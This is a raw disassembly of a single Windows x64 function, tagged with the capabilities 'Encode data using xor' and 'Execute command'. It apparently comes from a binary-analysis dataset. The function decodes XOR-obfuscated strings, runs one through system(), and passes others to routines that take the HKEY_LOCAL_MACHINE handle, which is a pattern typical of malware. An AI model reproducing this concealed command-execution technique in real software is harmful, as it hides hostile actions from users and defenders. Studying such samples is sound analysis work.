Function at 0x14001f580
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
movups xmm0, xmmword [0x14002a0a8]
mov edi, dword [0x140030010]
xor ebx, ebx
movaps xmmword [rax - 0x38], xmm6
mov ecx, ebx
movdqa xmm6, xmmword [0x14002c620]
movaps xmmword [rax - 0x48], xmm7
movdqa xmm7, xmmword [0x14002c560]
movaps xmmword [rax - 0x58], xmm8
movdqa xmm8, xmmword [0x14002c590]
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
mov eax, dword [0x14002a0c8]
movdqa xmm12, xmmword [0x14002c5e0]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x14002a0cc]
mov byte [rsp + 0x44], al
movups xmm1, xmmword [0x14002a0b8]
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm1
cmp edi, 2
jl 0x14001f73a
movdqa xmm0, xmmword [0x14002c630]
lea rdx, [rsp + 0x24]
movdqa xmmword [rbp - 0x70], xmm0
mov r8d, dword [rbp - 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x14001f650
cmp ecx, 0x25
jge 0x14001f781
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x25
jl 0x14001f750
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14002a0f0]
mov r14d, 0xff8f
movsd xmm0, qword [0x14002a0e8]
mov r12d, 0xff8c
movups xmm1, xmmword [0x1400297d0]
mov r13d, 0xff8d
movzx ecx, word [0x14002a0f4]
mov esi, 0xff8e
movdqa xmm9, xmmword [0x14002c5f0]
mov r15d, 0xff90
movsd qword [rbp - 0x70], xmm0
mov edx, 0x50
movups xmm0, xmmword [0x1400297c0]
xor word [rbp - 0x6e], r12w
xor word [rbp - 0x6c], r13w
xor word [rbp - 0x6a], si
mov dword [rbp - 0x68], eax
xor ax, r14w
xor word [rbp - 0x66], r15w
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x1400297e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140029800]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x1400297f0]
mov word [rbp - 0x68], ax
mov eax, 0xff91
xor cx, ax
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140029820]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x140029810]
mov word [rbp - 0x64], cx
mov ecx, ebx
movups xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x70], dx
movups xmmword [rsp + 0x70], xmm1
cmp edi, 2
jl 0x14001f95d
mov edx, ebx
lea rcx, [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x38
jl 0x14001f870
jmp 0x14001f993
lea r8, [rsp + 0x20]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x38
jl 0x14001f962
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140015f40
cmp word [0x14002a10e], bx
movups xmm4, xmmword [0x14002a0f8]
movq xmm5, qword [0x14002a108]
movdqa xmm10, xmmword [0x14002c5a0]
movdqa xmm11, xmmword [0x14002c570]
movups xmmword [rbp - 0x70], xmm4
movq qword [rbp - 0x60], xmm5
je 0x14001fb52
mov ecx, ebx
cmp edi, 2
jl 0x14001fb1d
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
punpckhdq xmm0, xmm11
xorps xmm3, xmm1
pmuldq xmm0, xmm6
movq qword [rbp - 0x70], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp - 0x68]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rbp - 0x68], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp - 0x60], xmm3
jmp 0x14001fb52
lea r8, [rbp - 0x70]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0xc
jl 0x14001fb21
movups xmm0, xmmword [0x1400297c0]
mov ecx, ebx
movups xmm1, xmmword [0x1400297d0]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x1400297e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140029800]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x1400297f0]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140029820]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x140029810]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
cmp edi, 2
jl 0x14001fcad
mov edx, ebx
lea rcx, [rsp + 0x20]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x38
jl 0x14001fbc0
jmp 0x14001fce3
lea r8, [rsp + 0x20]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x38
jl 0x14001fcb2
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140015f40
movq xmm5, qword [0x14002b9b0]
mov ecx, ebx
mov eax, dword [0x14002b9b8]
movq qword [rsp + 0x40], xmm5
mov dword [rsp + 0x48], eax
movups xmm4, xmmword [0x14002b990]
movups xmm0, xmmword [0x14002b9a0]
movups xmmword [rsp + 0x20], xmm4
movups xmmword [rsp + 0x30], xmm0
cmp edi, 2
jl 0x14001ff3f
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x20], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x28]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x28], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x30]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmmword [0x14002c5b0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movq qword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x38]
mov ecx, 0x14
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmmword [0x14002c5c0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movq qword [rsp + 0x38], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x40], xmm3
mov eax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x16
jl 0x14001ff50
movups xmm0, xmmword [0x1400297c0]
mov ecx, ebx
movups xmm1, xmmword [0x1400297d0]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x1400297e0]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x140029800]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x1400297f0]
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x140029820]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x140029810]
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp - 0x20], xmm1
cmp edi, 2
jl 0x1400200dd
mov edx, ebx
lea rcx, [rbp - 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x38
jl 0x14001fff0
jmp 0x140020112
lea r8, [rbp - 0x70]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x38
jl 0x1400200e1
lea r8, [rsp + 0x20]
mov rcx, 0xffffffff80000002
lea rdx, [rbp - 0x70]
call fcn.140016330
mov eax, dword [0x14002a9c8]
mov edx, 0x44
movups xmm0, xmmword [0x14002a9b8]
movzx ecx, word [0x14002a9cc]
movups xmm1, xmmword [0x1400299d0]
movups xmmword [rbp - 0x70], xmm0
xor word [rbp - 0x68], r14w
mov r14d, 0xff93
movups xmm0, xmmword [0x1400299c0]
xor word [rbp - 0x6a], si
mov esi, 0xff92
xor word [rbp - 0x66], r15w
mov r15d, 0xff94
xor word [rbp - 0x6e], r12w
xor word [rbp - 0x6c], r13w
xor word [rbp - 0x62], si
mov dword [rbp - 0x60], eax
xor ax, r14w
xor word [rbp - 0x5e], r15w
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x1400299e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140029a00]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x1400299f0]
mov word [rbp - 0x60], ax
mov eax, 0xff8b
xor cx, ax
mov word [rbp - 0x70], dx
mov edx, 0xff91
movups xmmword [rsp + 0x60], xmm0
xor word [rbp - 0x64], dx
movsd xmm0, qword [0x140029a20]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x140029a10]
mov word [rbp - 0x5c], cx
mov ecx, ebx
movsd qword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
cmp edi, 2
jl 0x1400202f0
lea rdx, [rsp + 0x20]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x30
jl 0x140020200
cmp ecx, 0x34
jge 0x140020338
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x34
jl 0x140020300
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140016330
mov eax, dword [0x140028ef0]
mov ecx, ebx
mov dword [rsp + 0x40], eax
movzx eax, word [0x140028ef4]
mov word [rsp + 0x44], ax
movups xmm4, xmmword [0x140028ed0]
movups xmm0, xmmword [0x140028ee0]
movups xmmword [rsp + 0x20], xmm4
movups xmmword [rsp + 0x30], xmm0
cmp edi, 2
jl 0x14002052b
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x20], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x28]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x28], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x30]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmmword [0x14002c5b0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movq qword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x38]
mov ecx, 0x10
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x38], xmm3
mov eax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x13
jl 0x140020540
movups xmm0, xmmword [0x14002a8c0]
mov ecx, ebx
movups xmm1, xmmword [0x14002a8d0]
mov eax, dword [0x14002a920]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x14002a8e0]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x14002a8f0]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x14002a900]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x14002a910]
mov dword [rbp - 0x10], eax
movzx eax, word [0x14002a924]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
mov word [rbp - 0xc], ax
cmp edi, 2
jl 0x1400206d0
lea rdx, [rbp - 0x70]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x30
jl 0x1400205e0
cmp ecx, 0x33
jge 0x140020718
movsxd rax, ecx
lea r8, [rbp - 0x70]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x33
jl 0x1400206e0
lea r8, [rsp + 0x20]
mov rcx, 0xffffffff80000002
lea rdx, [rbp - 0x70]
call fcn.140015f40
movq xmm5, qword [0x14002b0f8]
mov ecx, ebx
movq qword [rsp + 0x40], xmm5
movups xmm4, xmmword [0x14002b0d8]
movups xmm0, xmmword [0x14002b0e8]
movups xmmword [rsp + 0x20], xmm4
movups xmmword [rsp + 0x30], xmm0
cmp edi, 2
jl 0x140020967
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
